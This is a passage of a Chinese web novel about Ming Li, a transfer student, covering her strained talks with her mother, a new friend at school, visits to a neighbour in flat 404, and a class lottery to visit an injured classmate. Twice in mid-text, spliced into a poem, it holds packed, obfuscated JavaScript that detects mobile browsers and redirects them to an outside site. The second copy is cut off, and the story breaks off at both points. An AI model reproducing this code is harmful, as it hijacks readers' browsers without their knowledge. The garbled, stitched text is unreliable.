她依然抗拒新学校的一切,抱着幻想,抱着破罐子破摔的心态,就好像……来屿城体验几天就能回原来学校似的,在学校也是不主动交流,不认识新同学,做事不计后果。 比如昨天有几个男生笑嘻嘻地看她,好奇或是打量,被明厘瞪了回去。 谁再敢看她,她就学着那种打量的目光,绷着脸,从头到脚把人扫一遍,最后盯着他眼睛,不眨眼,不说话。 男生毫无例外地准会咳嗽两声,挪开目光。 偶尔学累了,明厘就放下笔,望着门口发一会儿呆,放空大脑,让思绪随风飘走。 同桌多次投来羡慕的眼神,羡慕她劳逸结合,心态平稳。 只有明厘自己知道,她盯着门口,是期待有人能从天而降,一炮轰了全世界。 至于孤独…… 其实明厘不太在意这种事,比如很多人会觉得单独吃饭尴尬到不行,她很习惯独来独往,周围的同学也都很好说话,可猛地一下被扔到完全陌生的环境,还是有点难过。 所有人手拉手围成一个圈,结实牢靠,她在外面徘徊,没人松手让她插进来,这让人割裂又难受,时不时会从心底里冒出一缕黑烟。 而这种孤独和割裂感,在404家就不会有。 他也是一个人。 他和明厘,对彼此来说,都是完全陌生的,明厘在他面前,不需要有任何负担。 说来还挺神奇,她现在都不知道人家叫什么名字,只知道姓蔡。不过她没打算问太多,窥探别人的生活不是好事,时不时能和他讨论两道数学题就足够了。 刚说了几句话后,又安静下来。她问道:“爷爷不在家吗?” “你说我姥爷?” “嗯。” 游灿看完了卷子,递给她,“他这个点一般都在外面散步打太极,睡觉前才回来。” “哦。”她正想找个借口说再见,手机忽然响了,直接放到耳边接起来。 “喂,妈?” “你去哪了?还没放学吗?怎么不在家?” 一连三问,语速极快,语气很冲。要不是她了解自己亲妈,谁听了都以为这语气是家里着火了等着她回去救火,明厘已经习惯了,她妈说话就这样,单刀直入。 “我这就回。” 明厘挂了电话。 “要走啊?”游灿问。 “嗯,要回去吃饭了。” 他点点头,还跟她挥手,“那你快回去吧,拜拜。” 明厘拿着卷子和草稿纸,临走前忽然想到什么,“对了,你要不要习题集?” “习题集?” 她说:“我有很多数学习题,现在用不到了,如果想要的话就送你了。” “可以啊,”游灿大大方方应下来。 他又问:“但是你为什么用不到了?” 她收好了东西,淡淡道:“我不太喜欢。” “没事,我喜欢。”他说。 明厘忽然抬眸看他,这一来一回的对话,毫无逻辑可言,他却莫名其妙地说“没事”,而没有问“你为什么不喜欢?” 游灿又笑着说了一句。 “我脸皮厚,就照收不误了啊。” 7. 早读 回到家后,明岚已经点了外卖,两碗牛肉面,热气腾腾地摆到了桌子上。 “明天就正式上课了吧?” “对,”明厘把一次性筷子收起来,从厨房里拿了两双干净的家用筷子,“要早起去早读。” 她跟明岚有点洁癖,外卖送的一次性筷子材料质量堪忧,能不用就不用。 “你们班主任教数学的是吧?感觉怎么样?” 明厘拌了拌面,“还没上课呢,人看着是挺好的,年轻,温柔。” “年轻?”明岚问,“能有多年轻?” “看着也就不到30吧。” 明岚立刻就皱了眉,不太满意,“年纪这么小就能当班主任了?这能有教学经验吗?” 明厘低头吃面,“我觉得挺好的,年轻的老师思想开放,跟学生亲近。” “你怎么不早跟我说?”明岚立马放了筷子,划拉着微信联系朋友,“你当现在还是初中呢?跟老师同学们玩玩三年就过去了,屿城高考每年竞争那么激烈,有个经验丰富的老师就成功一半了,我给你问问换个班,起码得找个带过几轮高三的……” “妈,”明厘打断了她,“早知道屿城高考竞争激烈,那让我转学过来干嘛?” “你为什么转学你自己不清楚吗?如果好好搞竞赛,进省队,你现在还用得着跑这么远读书吗?” 明厘也放下筷子,盯着她,“竞赛是我自愿放弃,光凭普通高考,我一样能考上重点,但我就想问问你,为什么来这儿?” “重点?”明岚冷笑了声,答非所问,“你对自己高考的要求就是重点?光一个数学竞赛就在你身上花了几十万,你说放弃就放弃,现在呢,底线一步比一步低,我甚至都要怀疑你还能不能考得上一本!” 这么一句话,明厘浑身的血都沸腾起来。 那句“怀疑你还能不能考得上一本”让她觉得是侮辱,仿佛她不学竞赛就是自毁前途。 在她看来,明岚的教育方式矛盾又可笑至极。 一边对她抱着巨大期望,把考名校的压力全部砸到她身上,一边又疯狂打击嘲讽,就凭你?普通高考?简直是死路一条。 小姨常感慨,多亏了明厘从小就是个呆木头,想得少,听不出好赖话,要是换个抗压能力差的,这不得天天晚上抱着枕头哭? 刚从404带回来的好心情瞬间被一盆冷水浇灭。 明厘平复了下心绪,淡定道:“我就算考不上大学也能去找我爸继承公司,你不用为我考虑那么多,反正我也不听。妈,收收你的情绪,赶紧趁热吃饭吧。” 说完,她拿起筷子吃饭,一言不发,低头飞速进食。 对面的明岚也不是不讲道理的人,她咬着牙从底层小职员一步步爬到高管,早就炼成情绪收放自如的本事。 于是,歇斯底里之后,母女两个人心平气和地面对面吃饭。 谁见了不说诡异。 “屿城竞争是大,但教育资源好啊,比海城强多了,妈妈都了解过了的,一中的师资和生源都是别的地方没法比的。你现在才高一,虽说教材是有点差别吧,加把劲也能跟得上。” “肯定能跟得上,我保证,”明厘说,“所以你别操心老师的事了,我不想换班。” “那行,”明岚说,“我不管了,快吃饭吧,面都要凉了。” 明岚真的没再计较。平时母女俩都是互相说服不了的状态,讲道理讲不通的时候就得摆出情理。 我是你妈妈能害你吗?小孩不要管大人的事,好好学习就行了……总之,明岚拿出妈妈的架子后,话题也就到此为止了。 就在快吃完饭的时候,明岚忽然又开口,“再有半个月放清明假了,有计划去哪玩吗?” 明厘吃饱了,擦了擦嘴,“没有,我在家跟一下新课,不太想出去。” “那正好,”明岚把用完的纸巾对折,顿了下,说:“之前跟你提过的,林叔叔想来咱们家吃个饭,还记得吗?” 明厘正在擦桌子的手停住,她垂眸盯着手里的纸巾,没说话。 自打搬家到屿城后,“林叔叔”这几个字隔三差五就要出现在对话中。 明厘觉得她妈应该是把她当傻子。 十六七岁,心思最敏感的时候,最能察觉大人的细微情绪,妈妈还搞循序渐进那一套,逼得她天天装傻当不知道。 直接说不就好了吗? 林叔叔这人挺好,见个面吃顿饭,合适的话就当你后爹了,说出来不就行了吗? 明岚说:"你转学的事他也帮了不少,忙前忙后给安排的,不请顿饭也说不过去。" 脏的纸巾被顺手扔进垃圾桶,她又抽了张新纸,擦掉桌面的水渍,“嗯,我没意见。” “行,那就定在清明假期那两天怎么样?” 明厘点点头,“可以。” 听到了满意的答案,明岚的态度瞬间温和起来,“那你今晚早睡觉啊,别熬夜了,明天早上给你买爱吃的烧麦和生煎。” "好,我马上就睡了。" * 为期三天的开学冷静期很快就结束了。 正式上课第一天,明厘起了个大早赶去学校早读。 “手机就别带了啊,”明岚站在卧室门口,严肃道:“带着手机会分心,网上杂乱消息那么多,碎片化阅读害死人,别影响你学习。” “知道了,我晚上回来再玩。” 明岚立刻捕捉到不对,“你下晚自习都快十点了,哪还有空玩手机?抓紧洗漱就得睡觉了,熬夜又影响第二天的学习效率,恶性循环了怎么办?” “行,那我周末开机吧。”明厘答应地很痛快,“我得赶紧走了,你再回去睡会吧。” “我也不睡了,这几天公司业务忙,我早点起来加班。” “好,那我去坐公交车了。”明厘说完就拎着书包出去了。 今天的早读归语文,课程表那一栏写着语文老师的名字:林甜。 明厘想着,估计人如其名,长头发,穿旗袍,温声细语拿着课本讲诗词歌赋,时不时可以扯一点名人轶事野史什么的,毕竟语文课。 班主任巫老师和英语老师格格走的也都是和蔼亲民的路线,那语文老师肯定更温柔了。 直到上了个早读,她又一次刷新了认知。 刚开学,一节课都还没上,其实没什么可读的,大部分人都强撑着精神翻课文。 明厘也喜欢翻课文,尤其是刚发下来新书的时候,先把后面的小说节选都给看了,如果有特别喜欢的就去图书馆借书,把整本书都看完。 直到教室门打开,个子不高的女老师踩着高跟着哒哒哒走进来。 这大概就是林甜老师了。 不过,和她想象的稍微有点不一样,老师居然是超短发,穿一件短款皮衣,牛仔裤,干练利索,气势很足。 明厘清晰地感受到,林甜老师进来的瞬间,教室内氛围就变了。 读书的声音明显大了不少,就连前面的网管和贺鸣飞都坐直了。 林甜走上讲台就皱了眉,指着窗边的几个同学,“来,把窗户打开通通风,你们不嫌闷得慌啊?” 说话语速很快,和她妈差不多的风格。 “大声读!你们这是上自习还是上早读啊?” 回应她的是一阵热烈的读书声。 林甜并没有在教室来回踱步,而是直接站在讲台上,抱着胳膊,居高临下来回扫视,看谁犯困就把谁揪起来。 早读是很费体力的,一般读个十几分钟就虚弱了,这时候如果有人想摸个鱼,看看老师走了没,悄悄一抬头—— 林甜犀利的目光瞬间杀过去,“万锐!站起来读!” 尖锐地一声之后,前面的网管拖着凳子站起来了。 下面不少同学明显被打断,愣了一下,也就一秒,就跟火烧屁股似的,全班又爆发出更加响亮的读书声。 林甜老师,顶着这么甜美可爱的名字,冷着脸,一个早读揪起来了将近十个人。 这种压迫感十足的方式让教室里的人完全不敢抬头,声音一波盖过一波。 下早读的铃声一响,老师踩着高跟鞋哒哒哒扬长而去,朗读声才缓缓放低,同学们如获大赦,长舒一口气。 明厘茫然地扫了眼班里,她周围趴下一大片,弄得她除了睡觉都不知道该干什么。 最后排那张单人桌依旧空着,不知道那位大神是准备退学了还是表演大变活人。 网管,虽然明厘现在已经知道了他叫万锐,站了一整节早读,早就已经精神了。旁边的贺鸣飞在神志不清之前拽了他一下,看口型应该是说了一句,“上课叫我……” 然后就脸朝下,趴在桌子上,晕死过去了。 教室内安静极了。除了两三个拿着水杯去接水的,教室里面没人走动。偶尔有人说话也是压着声音,生怕吵醒了旁边的人。 数学课,巫老师拿着课本和讲义进来,她没有再废话强调班级的事,直接进入主题,“时间紧迫,咱们把书翻到第四页……” 下课后。 “对了,班长呢?来一下我跟你说点事。” 有个高个子女生从座位上抬起头,爽快地应了一句,“来了老师!” 女生再回来时,走过来敲了敲闻棠的桌面,“有空吗?有点事要跟你商量一下。” 闻棠担任班里的学习委员,却一直没什么存在感,也只有班长记得凡事都会和她商量一嘴。 明厘正喝着水,闻言也看向班长。 闻棠问:“怎么了?” 班长向后一指,明厘顺着她的手看过去,听到她说:“就他的事呗,有个突如其来的活儿。” 指的是最后那张空桌。 “哦,好。”闻棠放下笔就跟她一起出去了。 直到身旁的凳子推开,摩擦地板发出尖锐的滋啦声,明厘才惊醒。 看什么呢? 这和她有什么关系? 明厘回眸,把多管闲事的毛病归咎于书读少了。 她从桌洞里掏出手机,掏出牛皮纸笔记本,翻开崭新的一页,抄诗词。 中午放学,班里陆陆续续响起凳子拖拉声,她一笔一划地写,慢慢写,如锥画沙。 白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375846|168334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉堂前春解舞,东风卷得均匀。 蜂围蝶阵乱纷纷。 几曾随逝水?岂必委芳尘? 万缕千丝终不改,任他随聚随分。 韶华休笑本无根。 …… 手机是一定要带的。这么多年,她早已习惯了偷偷撒野。 在明岚看不见的角落,她谨慎地拉出那点叛逆心,铺开,让阳光穿透潮湿阴暗的表层,慢慢晒干,变得充盈柔软。 未来遥远,岁月绵长,徐徐慢慢。她只需要攥紧希望,等待那场破土而出的六月雨。 旁边的闻棠回到座位后就翻开数学书,上完课她会紧接着把重点内容摘出来,相当于趁热打铁复习一遍,这比过一天后再重新捡起记忆找重点要高效得多。 明厘写下最后两句—— 好风凭借力,送我上青云。 她潇洒留下“云”字最后一点,收尾,坐直了身体。 笔迹穿透纸背,千年前那位少女的青云之志从笔尖攀上,奔袭而来,和她撞了个满怀。 就在明厘打算起身去吃饭的时候,闻棠也放下了笔,小声问了一句,“你要去食堂吗?” 明厘:“对。” 闻棠本意是想问问她有没有约人一起去,但通过她这几天的观察,发觉明厘应该是喜欢独来独往。 要求一个喜欢安静的人陪她吃饭,对方应该会反感吧。 而且,如果在餐桌上说不上话,也会很尴尬。 眼看着明厘整理好书就要走了,那句“我能跟你一起去吗?”卡在喉咙里怎么也说不出来。 就在她做好了又要自己吃饭的准备时,明厘掏出饭卡,看了眼低着头的闻棠,说:“如果你想在这里学习,我可以帮你带一份饭回来,或者咱们一起去吃?” 闻棠没想到她能主动邀请自己,大喜过望,赶紧放下笔,“我、我跟你一起去吧!” 两个人结伴去食堂的路上,碰见好几个要打包回宿舍吃的同学。 闻棠如果一个人走在路上,遇到对面三两结伴的人,莫名会觉得尴尬,尤其害怕和人打招呼。 就好像……大家都能找到知心的小伙伴,却没人愿意跟她一起走。 真可怜。 但今天就不一样啦,闻棠挺起胸膛,跟对面来的同学说了hi,我也是有饭搭子的人了。 更让她惊喜的是,和明厘吃饭一点也不会尴尬。 她很礼貌,又有边界感,没有问“你为什么不找别人吃饭?是不是没人陪你一起吃?”这种让人难堪的话题,也不会乱打听隐私。 “那你住在学校的话,多久回一次家?” “两周,”闻棠说,“除了节假日正常放假,咱们学校是两周休一次。” “这样啊,”明厘说,“不过住在宿舍中午是不是可以回去午休?” “对,”闻棠笑了笑,“学校的宿舍还挺豪华的,有独立卫生间呢,对了,如果你中午想躺在床上睡的话,也可以申请宿舍,只睡中午也行。” “那学校还挺为学生着想的。” …… 明厘不太爱说话,但不代表她不近人情,更像是……她并不在乎外界的风吹草动。闻棠愈发觉得,她应该是个内核超级稳定的人。 中午吃饭的空,闻棠和她分享了上午的事。 “那个高个子的女生就是咱们班的班长,叫凌越,”她说,“班长大人超级好,性格很直爽,大家都挺喜欢她。” “她上午说了我才知道,咱们班的游灿同学不是去参加竞赛训练营了,他是受伤了一直在家养病。” 明厘疑惑:“受伤?” “对,好像是伤到了脚吧,班主任说,让我们班委商量一下,派几个代表去看望他。” 收拾好餐具,两个人一起往外走。 闻棠笑着说,“他好像已经好得差不多了,但凌越说她不会放过这个机会的,他上学期因为迟到还欠了班里好多绿植,正好一把去讨回来。” 明厘听了半天就捕捉到一个词:“什么绿植?” “嗯……咱们班不是有个花架子吗,违反纪律的就要贡献绿植,多肉、小花小草的都可以,谁要是学累了还能去浇花,上学期浇死了好几棵仙人掌,这学期要添新的。” 这么一说,明厘想起来了。 午休的时候她在窗边晒太阳,看到花架上不少多肉,其中还混着好几个毛线针织的小花。 于是,明厘问:“那几个针织的小花是……?” “哦,那些都是游灿弄来的。” 明厘惊讶:“针织的也算绿植?” “不算,”闻棠摇摇头,“但是他赖着不交,非要用毛线的抵过。” ……明厘头一回听说这么厚脸皮的人,迟到,公然违反班级纪律,交几盆绿植还这么费劲。 “不过你要去吗?” 明厘没反应过来:“去哪?” “去看望游灿,你好像还没见过他吧,如果想去的话可以和班长商量一下,她肯定会同意的。” 闻棠还拉着她小声说了一句,“悄悄八卦一下,他长得挺帅哦。” 8. 抽签【修】 明厘略微惊讶,眸子里多了闪闪流光,“是吗?” 学习顶尖,长得也不错,放学校里怎么不得是个风云人物。 闻棠说:“之前就经常有高二高三的学姐来后门看他,最近他不在,后门清静多了。” 可惜,明厘直接拒绝了提议:“我就不去了,我对这种事没什么兴趣。” 她并不是个爱管闲事的人。 搬来屿城快要一个月了,除了上学,连门都不怎么出。 初中也是一样。 在那所海边小城的中学,提起明厘这个名字,大多数人恍然,哦,就是那个数学非常牛X的安静女生啊。 几乎所有人都听过她的名字,但几乎所有人都和她不熟。 哪个少年爱豆团突然火遍全国,流行明星又发了新专辑时,她低着头攻克高中数学知识点。 班级里的女孩子们疯狂购买明星海报和小挂件,因为某张捕风捉影的照片争得面红耳赤,又齐齐大笑时,她一个人飞来飞去,背着双肩包参加全国各地的数学比赛。 她永远游离在人群之外。 没有人拿着海报激动地拉着她问:“你快说蓝发的人帅一点还是银发的人帅一点?!” 同学们默认她从不参与任何与学习无关的讨论,拥有能够随时不上课去学竞赛的特权。 殊不知,十四五岁青春期的明厘同学,也会偷偷买了小巧方形的MP3,在很多个安静的晚上,塞着耳机,任由艾薇儿的电吉他和摇滚乐充满大脑。 * 晚上,明岚刚下班回来,看到明厘穿上外套准备出门。 “这么晚了你这是要去哪?” 明厘低头换了鞋子,“楼上,昨天小蔡跟我借书,好像有点着急,我赶紧给他送去。” “哦,行,”明岚点头,“回来就早点睡觉啊。” “知道了。” 楼上,404。 “请进。” 二月天寒,游灿上身居然只穿了件短袖,腿上依旧裹着毯子,自顾自滚着轮椅挪到沙发旁。 明厘进来之后,坐在沙发上。 游灿盯着她看。 “……怎么了?”她不明所以。 “那你知道那是什么吗?”他指了指靠墙的一排灰色金属管子。 瞧不起谁呢,她搬来第一天就知道了。 “暖气。” “哎,对,”游灿又问,“那你知道暖气在什么条件的屋里最保暖吗?” 明厘认真地想了想,说:“面积小,而且密封性良好?” “聪明,”游灿竖了个大拇指,然后指指她身后,“谢谢。” 明厘顺着他手指的方向看去,门半开着,门缝里呼呼灌风。 她只顾着进来,留他在后面关门,却忘了他行动不便的事。 “哦,不好意思。”明厘赶紧走过去关了门。 今晚的桌子上摆着两盘水果,切成小块装进玻璃盘里,晶莹水珠附在表皮,灯光下一闪一闪。 明厘没忍住问了句,“大晚上的,你要一个人吃两盘水果?” 他叉了块火龙果,往前推了推,“这盘给你留的。” 居然还给她留了水果。 “你怎么知道我要来?” 游灿说:“你不是说了吗?来给我送数学书。” “我没说今晚。” 他看了她一眼,笑了笑,“但你就是来了。” 明厘抿了抿唇,没说话。她今晚心情不好,闷在屋里实在难受才出来的。 虽然她也不知道出来干什么,但还是得出门,哪怕在楼下看人下象棋或者在楼上看他滚轮椅都行。 游灿坐在轮椅上,随手翻着书她拿过来的书。 “竞赛题?”他指着上面的小字,“写着竞赛专用呢。” 明厘点点头。 “你是竞赛生?”他抬头。 “不是,”明厘当即否定,“这个可以当普通数学题做的。” “那你为什么一页都没做?”他手指快速捻了一遍书,又抬头看她,“143页的书,一个字都没写。” 明厘无语,“因为我不会,行了吧。” 游灿说话的调子有些懒散,尤其是尾音。 404的暖气非常足,屋里弥漫着淡淡的果香,又是晚上,灯光暖黄,耳边是他懒洋洋的声音,明厘有点犯困。 “你每天在家不觉得无聊吗?”她问。 “不无聊啊,我要上网课学习。” 明厘肃然起敬,原来是位自学成才的,那先前的数学题就能说得通了。 安静的屋里,游灿正饶有趣味地翻着书,明厘低着头吃水果,氛围和谐安逸。 等她吃完水果一抬头,发现男生正抱着一团彩色毛线。 “你在干什么?”她睁大眼睛。 游灿手里没停,“针织啊。” 他右手拉出一根红色毛线,左手捏着针,一绕一拽,重复几次后,毛线就神奇地在棒针上拧了个花。 明厘好奇地盯着他的手,看得太入迷,眼都不眨。 “你这是……织毛衣吗?”她不可置信。 “不是,毛衣太难了,我还没学会,”他笑了下,手指飞速摆弄毛线,“这就是普通的小手工,织着玩的。” 他说:“不过我会织围巾,你有什么想要的小玩意,我也可以给你织一个。” 她摇摇头,“谢谢,不用了。” 明厘觉得这地方风水大概有问题,怎么都喜欢玩毛线啊。 但是……她看着面前的男生,他手指细长干净,大概是长期不出门,皮肤很白。红色毛线缠绕在白皙的手指上,对比强烈,衬出妖冶的美感。 明厘迅速挪开视线,低头叉了一块清凉的芒果。 男生对她的目光毫无察觉,他认真织着,手指在线和两针之间穿插,很快就完成了一个红色小球。 明厘觉得这人还挺神奇,会在家自学数学,会针织,心态也很乐观,不能上学也不遗憾,每天优哉游哉的,像个懒散仙人。 “你给我讲讲你们班那年级第一呗。”他忽然说。 明厘忽然警惕起来,“他有什么好说的?” “怀念校园生活啊,”他低着头,毛绒的头发微微弯曲,乌黑的眼珠染了点光,看向数学书的眼神里透着一丝渴望,“挺久没去上学了,想听听新鲜事。” 这话一出来,明厘瞬间就心软了。 “我和他不熟。”她说。 游灿把毛线一收,毫不在意,“没事儿,就随便说什么都行。” 明厘还真回想了下935.5的事迹。 对面男生认真期待着,眼眸明亮。 “我们班那年级第一,”明厘学着他说话的腔调,对上他的眼睛,一字一句道:“特装一男的。” “啊?” 他愣怔两秒,瞪大了眼睛,“啊……是、是吗?” 他很不自在地咳了两声,挠了挠脖子,“真的假的……” 明厘认真道:“真的。” 她不知道他为什么那么大反应,手里的毛线球都掉了,她又给他捡起来。 不过这也能理解,别说中学生了,就是很多成年人都对学习优秀的小孩有滤镜。 “我觉得你比他强多了,”她语重心长劝着游灿,“也不用羡慕他,说不定那就是个除了学习一无是处的混子。” 但面前的男生低着头,甚至眸子里的光都暗了。 他咽了口水,“其实……也有可能没那么差吧,毕竟、毕竟是年级第一啊,他学习倒也能说得过去不是?” “你不懂,”她打断他,深沉地摇摇头,“以小见大,三岁看老,学习不代表一切。” “……”游灿欲言又止,没再反驳,轻轻说:“好吧,你说的也对。” 她满意地点点头,看了眼时间,说:“明天我就不来了,如果你有什么不懂的题,可以攒着周末我给你讲。” “是要忙作业吗?我听说刚开学作业就不少。” 提到这个明厘就有点烦,她说:“也不是,明天班里有点事。” 他哦了一声,“所以,这就是你一晚上心不在焉的原因?” 明厘疑惑地看着他。 他把毛线收尾,打了结,“我再不说,你就要把那块西瓜叉成西瓜泥了。” 明厘低头,她一晚上都在无意识地戳西瓜,那块西瓜已经千疮百孔,俨然从一块变成了一滩。 “不好意思……”她尴尬地说。 “没事儿,吃了就行了。”他说。 明厘愣了下。 “开玩笑的,”他挑了下眉,“不用你吃,你快回去吧,时间也不早了。” 明厘从404出来之后,心情稍微好了点,关于学校里的事,她没敢跟小蔡分享,也没有说她心情不好的直接原因就是那位素未谋面的游灿同学。 就在今天下午,巫老师开了个简短的班会。 “我先说一下咱们这学期关于考试的时间线,大家根据安排自己制定一下学习计划,要考到第几名,该什么时候复习,大家应该比我清楚……” 明厘记下了重点内容,周考,月考,期中考,期末考,文理分科。记完这些,巫老师又强调了些安全问题,什么防火防电的车轱辘话,她就趴在桌子上画画。 也就十几分钟就结束了,巫老师看了眼全班。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375847|168334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “还有个小事,我上午跟班长沟通过了,班长?” 凌越抬起头。 “你们想自己开班会还是我来开?” 凌越回答地很痛快,“老师我来就行。” 巫老师欣然答应,“可以,那这事我就交给你们自己处理了,谁要问数学题就去办公室找我。” 说完她就离开了教室。 一班实行高度自治,老师绝不多管闲事。多亏了巫老师眼光毒辣,她知道什么样的人适合管理班级,该严抓的时候不会放过,但该放松的时候绝不拖泥带水。 可老师毕竟是老师,离开教室后,班里气氛就活过来了。 凌越站到讲台上,“跟大家商量个事啊。” 说的是中午闻棠告诉她的那件事。 “本来咱们打个电话问候一下就行的,但是老师说了,游灿同学是见义勇为受的伤,学校里面也很重视,那咱们身为亲同学,肯定不能掉链子。” 同学:“班长,你直接说怎么办吧,出钱还是出人?” “还出钱?”凌越说,“他能按时来上课我就阿弥陀佛了。” 她说:“就明天晚上,晚自习的时候,要去看他一下,有老师带队,买点水果鲜花什么的。” “咱们班要出五个人,我占一个,然后贺鸣飞带路,占一个。剩下三个就老规矩,公平公正,有意见吗?”凌越迅速决定。 众同学都摇头。 “行,那就开始吧,”她拉开白板,“网管!投影仪遥控在哪?” 前面的万瑞喊:“蹲下,第二层!” 凌越开了投影,点了桌面上的一个图标。 下一秒,明厘就知道他们说的老规矩是什么了。 抽签,随机生成数字。 明厘脑补出病房里的一幕,935.5躺在床上动弹不得,五个人在他周围围一圈,严肃庄重地一一握手,献上花束。 对病人来说,对客人来说,都很窒息。 反正她要是935.5,死了也能活过来翻窗户逃走。 她也绝对不想参与看望病人这种无聊事。 除了贺鸣飞几个男生,其他同学不见得有兴趣去看望病人,但是如果被抽中了,就意味着可以不用上晚自习。 多么大的诱惑。 数字滚动的同时,下面沸腾了。 1-30号数字在大屏幕上快速跳动,一班应该是经常使用这种方式,居然全班都轻轻拍着手打节拍。 定格的瞬间,屏幕上生成三个数字。 8、21、29。 她还没反应过来,就看到闻棠啊了一声,叹了口气。 下面一阵兴奋的起哄。 凌越在讲台上确认,“8号,谁8号?” 后排的一个男生举了手,喊着:“我——” “21!” 闻棠举起了手,“我是21。” “29!” ……没人举手。 凌越问:“29呢?” 底下还是没人回应。 忽然,贺鸣飞嘶了一声,“这号码耳熟。” 凌越觉得不对,“29是不是游灿?” 贺鸣飞:“我靠!好像真是!” 有同学附和:“对对!他就是29,笑死了!” 全班一阵爆笑。 贺鸣飞拍拍手,“好了,各位观众朋友,全剧终了啊!” 凌越敲了两下桌子,“安静安静啊,那咱们再抽一次,这个无效,怪我,我忘了把他摘出来了。” 随机数字再次滚动,而这次,只需要抽一个。 只剩最后一个幸运儿,最后一次机会不用上晚自习。 明厘刚好在它自动停止的上一秒抬头。 大屏幕上的中间,蹦出来一个大大的30。 凌越喊:“30号!” 又没人举手。 “谁啊?” “谁是30?” “不是我,别看我!” 下面的人再次伸长脖子,左顾右盼。 “30号呢?”凌越又问了一遍。 明厘跟着他们一起左看右看,直到闻棠忽然转过头,看向了她。 “那个……30号是你吗?” “啊?”明厘愣怔了,电光火石间好像突然想起了什么。 他们的学号按照姓名首字母排序,但她是插班生,所以…… 明厘不信地掏出学生卡,一个一个数字看过去。 2016071201……30! 她盯着学生卡,闻棠也盯着学生卡。 几秒后,明厘举起了手,满脸无奈,“我是30号。” 9. 探望 明厘不能理解,五个学生外加一个老师,又要买花又要买水果,兴师动众,就为了去看望一个即将痊愈的人。 “他干什么了?”她问,“见义勇为?扶老奶奶过马路吗?” 闻棠摇摇头,说:“不知道,应该是暑假的事,要不你问问贺鸣飞,他和游灿的关系挺好。” 明厘当然不会去问。 好奇归好奇,小明同学不会上赶着打听别人的隐私。唯一的兴趣大概就是闻棠之前说的,这人有点姿色。 晚上八点,一中门口,凌越带着两位女生拦了一辆出租车,对贺鸣飞和另一位男生说,“你俩自己打个车过去啊,咱们到小区门口碰面。” “没问题,班长,你们先走吧!” 两辆出租车一前一后从学校门口出发,驶向茫茫黑夜。 凌越坐在副驾驶,上车后她掏出了一整盒巧克力,扭过头,连盒子一起递到后面,“我爸出差从俄罗斯带回来的,不是很甜,你俩尝尝。” “谢谢。”闻棠拘谨地拿了一小块。 “多拿几个呀,我也吃不完。”凌越直接抓了一大把。 明厘伸手接了过来,两人一起分了。 “班长,巫老师不跟咱们一起去吗?”闻棠问。 “她今晚上有个紧急会议,说可能晚个20分钟,让咱们先去,到时候给她发个定位就行了。” 明厘坐在后排,头靠在车窗上,无聊地看着车外霓虹,满脸写着“不想去”。 她运气怎么就这么背,30个人里面抽3个,十分之一的概率都能抽中。晚上风大,又冷又无聊,大好时光不在教室里看漫画,居然要跑出来给人献花。 凌越是个自来熟,又大方地把巧克力分给司机,“给您放这架子上了啊。” “谢谢啊小姑娘。”司机说,“你们不上晚自习?” “不上,今天逃课出去玩。”凌越笑着说。 “哎哟,一中的学生也逃课啊?” “那可不?” “姑娘你净瞎蒙我呢,谁逃课出去玩去这儿啊?又不是商场又不是游乐园的。” 前面的凌越和出租车司机聊了一路,赶上晚高峰,路上有点堵,走走停停之间,明厘就晕车了。 她下午饭吃得少,窗外车灯刺眼,胃里空空如也却翻江倒海。 也不知道车子要开多久,她闭上眼睛,试图压制住晕车的生理痛苦。 摇摇晃晃,终于停下。 她迫不及待把车门打开,让冷风灌进来,呼吸到新鲜空气,明厘像是又活过来一般。 她深呼吸,睁开眼睛,却在看清周围环境的刹那,一口气没上来,突然被呛了下,剧烈咳嗽起来。 咳嗽声引起注意,闻棠赶紧问:“你没事吧?” 明厘摆摆手。 前面的凌越也看过来,拍了拍她后背,“怎么了?你身体不舒服吗?脸色有点白。” 明厘平复了下呼吸,说:“我、我没事,就是有点晕车。” “噢,那你不舒服的话一定要告诉我啊,今晚不用回去上晚自习,等结束之后就能直接回家。”凌越眨了眨眼。 “嗯嗯,谢谢班长。”明厘说。 晕车是真的,但突然被呛了下是因为情绪激动。 情绪激动是因为什么呢? 因为这车走走停停,七拐八拐,最后停在了她家小区门口。 明厘睡了一路,睁开眼看到的是自家小区的大门。 她疑惑又震惊,心中涌上一股不祥的预感。 恰巧,贺鸣飞他们的车也到了。 一同过来的那位学号是8的男生,长相老实,戴一副黑框眼镜,手里拎着果篮。贺鸣飞抱着一束鲜花朝她们走来。 “进去吧!”凌越颇有气势一挥手,带领众人上前。 “好嘞!” 进哪儿?? 明厘晕头转向跟着他们走。 经过熟悉的路灯,路灯上扑棱着几只飞蛾,经过熟悉的六边形花坛,花坛的方砖上缺了一角,走上熟悉的羊肠小道,鹅卵石铺成小道干净清爽。这里的一草一木,她每天上学放学,都要经过两遍。 她混沌的大脑缓慢加载出来—— 游灿。 那个爱装逼的935.5,见义勇为受伤的年级第一。 和她住在一个小区? 明厘内心大受震撼,天底下还有比这更巧的事? 有的。 因为五分钟后,在凌越和贺鸣飞的带领下,他们目标明确,大步流星,等她反应过来之后,五个人站在了她家门前。 明厘拧着眉,满脸纳闷,事情已经越来越不对劲了。 哦,同学假借着探望病人的由头,实则来她家给她制造惊喜? “行不行啊你,都来多少次了还记不住?”凌越拍了下贺鸣飞的肩膀。 “我还能记不住吗?回个消息。”贺鸣飞捏着手机说。 